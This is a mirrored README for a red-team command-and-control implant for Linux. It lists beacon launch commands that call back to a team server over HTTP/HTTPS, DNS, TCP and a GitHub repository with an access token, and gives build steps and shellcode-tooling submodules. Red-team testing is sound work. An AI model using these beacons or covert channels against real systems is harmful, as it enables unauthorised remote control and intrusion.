mirror of
https://github.com/maxDcb/C2LinuxImplant
synced 2026-06-08 15:48:43 +00:00
ce14080d26e5018c7fcc0c40c0116bc84b07649f
Exploration C2 Linux Implant
What it is
Exploration is a redteam Command and Control framework.
This repository contain the Beacon in C++ to target linux.
The TeamServer and Client can be found in C2TeamServer.
This project contains multiple beacon communicating with the TeamServer thought different means, here is some example:
# HTTP/HTTPS
BeaconHttp IP_TEAMSERVER PORT_LISTENER http/https
BeaconHttp 10.10.10.10 8443 https
BeaconHttp 10.10.10.10 8080 http
# Github
BeaconGithub user/project TOKEN
BeaconGithub maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...
# Dns
BeaconDns DNS_SERVER DOM_TEAMSERVER
BeaconDns 8.8.8.8 bac.superdomain.com
# Tcp
BeaconTcp IP_LISTENER PORT_LISTENER
BeaconTcp 127.0.0.1 4444
Build
Sumbodule & External Projects:
- Donut: Creat shellcode from PE files.
- CoffLoader: Run object files from CS-Situational-Awareness-BOF.
- cpp-base64: base64.
- json: json parser.
Build the Linux Beacons and Modules
git submodule update --init
mkdir build
cd build
# With tests and logs
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=ON
# Without tests and logs
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=OFF
make -j4
Production
Beacons are in: "Release\Beacons"
Modules DLL in: "Release\Modules"
Languages
CMake
74.7%
C++
19.8%
Python
4%
Shell
1.3%
C
0.2%